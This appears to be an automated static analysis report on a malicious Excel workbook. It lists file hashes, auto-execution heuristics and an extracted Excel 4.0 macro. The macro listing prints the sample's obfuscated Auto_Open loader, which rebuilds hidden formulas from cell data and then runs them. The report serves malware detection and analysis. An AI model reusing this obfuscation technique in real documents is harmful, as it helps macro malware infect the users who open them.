Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8989c0b29cd0c48f…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:44:40 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 7eb372152bead374919efc34fd65da39 SHA-1: 4ca2febf3724805f3fee3e821a11c65cd6c7f8ac SHA-256: 8989c0b29cd0c48fa6f15cadd77216afabe324dfcf7c03f29d78f8fc488b80b9
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6544 bytes
SHA-256: 83f1d7a20ea012c720ea0591fe0d7652800511bae9d9276b7cc95f20b32324f9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LAPpVii
' 0018     21 LABEL : Cell Value, String Constant - ADDjfb len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F150 
' 0018     22 LABEL : Cell Value, String Constant - ddgcart len=0 
' 0018     24 LABEL : Cell Value, String Constant - dPGLSOHbJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - gljgWXC len=0 
' 0018     25 LABEL : Cell Value, String Constant - ihIZPRwEyJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - iqbplAUWjDbV len=0 
' 0018     24 LABEL : Cell Value, String Constant - JbmcDYXFy len=0 
' 0018     21 LABEL : Cell Value, String Constant - jePCwc len=0 
' 0018     21 LABEL : Cell Value, String Constant - JQLPkY len=0 
' 0018     22 LABEL : Cell Value, String Constant - LLpOBOt len=0 
' 0018     23 LABEL : Cell Value, String Constant - LTfNsjbX len=0 
' 0018     24 LABEL : Cell Value, String Constant - mYmOLYVov len=0 
' 0018     22 LABEL : Cell Value, String Constant - qaneOjo len=0 
' 0018     22 LABEL : Cell Value, String Constant - quxpBgQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - tAyECUT len=0 
' 0018     27 LABEL : Cell Value, String Constant - UpwvjCBgwbIX len=0 
' 0018     23 LABEL : Cell Value, String Constant - UQXQUVyf len=0 
' 0018     21 LABEL : Cell Value, String Constant - woTGyi len=0 
' 0018     24 LABEL : Cell Value, String Constant - wxayWKPOu len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZSUzv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LAPpVii,F60,"SET.NAME("iqbplAUWjDbV",VALUE("0"))",""
'  LAPpVii,F64,"SET.NAME("JbmcDYXFy",iqbplAUWjDbV)",""
'  LAPpVii,F66,"SET.NAME("qaneOjo",iqbplAUWjDbV)",""
'  LAPpVii,F69,"SET.NAME("woTGyi",COUNTA(LTfNsjbX))",""
'  LAPpVii,F73,"SET.NAME("dPGLSOHbJ",COUNTA(UQXQUVyf))",""
'  LAPpVii,F76,[],""
'  LAPpVii,F79,"SET.NAME("wxayWKPOu","")",""
'  LAPpVii,F84,"JbmcDYXFy",""
'  LAPpVii,F87,"SET.NAME("jePCwc",HLOOKUP("*",LTfNsjbX,JbmcDYXFy,FALSE))",""
'  LAPpVii,F91,"quxpBgQ",""
'  LAPpVii,F93,"SET.NAME("UpwvjCBgwbIX",iqbplAUWjDbV)",""
'  LAPpVii,F97,[],""
'  LAPpVii,F100,"UpwvjCBgwbIX",""
'  LAPpVii,F104,"ihIZPRwEyJ",""
'  LAPpVii,F107,"JQLPkY",""
'  LAPpVii,F112,"mYmOLYVov",""
'  LAPpVii,F116,"SET.NAME("ADDjfb",VALUE(HLOOKUP("*",UQXQUVyf,mYmOLYVov,FALSE)))",""
'  LAPpVii,F118,"gljgWXC",""
'  LAPpVii,F120,"wxayWKPOu",""
'  LAPpVii,F124,"qaneOjo",""
'  LAPpVii,F128,NEXT(),""
'  LAPpVii,F132,"ZSUzv",""
'  LAPpVii,F137,"SET.NAME("f",INT(T(FORMULA(T(wxayWKPOu)&"",""&T(ZSUzv)))))",""
'  LAPpVii,F141,"tAyECUT",""
'  LAPpVii,F146,NEXT(),""
'  LAPpVii,F148,RETURN(),""
'  LAPpVii,F177,"SET.NAME("ddgcart",F60)",""
'  LAPpVii,F180,"LTfNsjbX",""
'  LAPpVii,F183,"SET.NAME("UQXQUVyf",R71C11)",""
'  LAPpVii,F188,"SET.NAME("tAyECUT",197)",""
'  LAPpVii,F193,"SET.NAME("LLpOBOt",6)",""
'  LAPpVii,F196,ddgcart(),""
'  LAPpVii,F197,HALT(),""